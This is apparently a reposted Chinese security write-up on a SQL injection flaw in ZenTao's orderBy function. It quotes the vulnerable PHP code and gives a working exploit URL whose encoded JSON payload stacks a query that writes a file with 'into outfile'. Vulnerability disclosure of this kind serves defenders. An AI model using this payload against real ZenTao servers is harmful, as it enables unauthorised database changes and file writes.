首发:http://ecma.io/706.html

第一部分 漏洞成因

漏洞出现在zentao\lib\base\dao\dao.class.php中的orderBy函数

public function orderBy(*$order*)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;
    *$order *= *str_replace*(array('|', '', '_'), ' ', *$order*);
    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = *stripos*(*$order*, 'limit');
    $orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
    $limit  = $pos ? *substr*(*$order*, $pos) : '';
    $orders = *trim*($orders);
    if(empty($orders)) return $this;
    if(!*preg_match*('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
    $orders = *explode*(',', $orders);
    foreach($orders as $i => *$order*)
    {
        $orderParse = *explode*(' ', *trim*(*$order*));
        foreach($orderParse as $key => $value)
        {
            $value = *trim*($value);
            if(empty($value) or *strtolower*($value) == 'desc' or *strtolower*($value) == 'asc') continue;
            $field = $value;
            /* such as t1.id field. */
            if(*strpos*($value, '.') !== false) list($table, $field) = *explode*('.', $field);
            if(*strpos*($field, '`') === false) $field = "`$field`";
            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = *join*(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    *$order *= *join*(',', $orders) . ' ' . $limit;
    $this->sql .= ' ' . DAO::ORDERBY . " *$order*";
    *var_dump*($this->sql);
    return $this;
}

这是对orderBy的参数进行拼接,并且对参数进行了一系列的过滤,但是有个问题:

$pos    = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
*$order *= *join*(',', $orders) . ' ' . $limit;

你会发现,没有对limit部分做任何限制就直接拼接。也就是说,使用了orderBy这个函数的地方都有可能产生过滤。

第二部分 验证

​    参考: http://ecma.io/691.html,参数怎么构造就不详细说明了

​    URL:http://zentao.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgMTIzIGludG8gb3V0ZmlsZSAnZDoveHh4LnR4dCctLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ

​    解码之后如下,因为可以PDO可以多语句,那么就可以update或者写文件操作。

{"orderBy":"order limit 1;select 123 into outfile 'd:/xxx.txt'-- -","num":"1,1","type":"openedbyme"}

第三部分 总结

禅道这个版本是最新的版本,使用了这个函数的地方都有可能产生注入。搜索了一下,共有十处可控:

源链接

Hacking more

...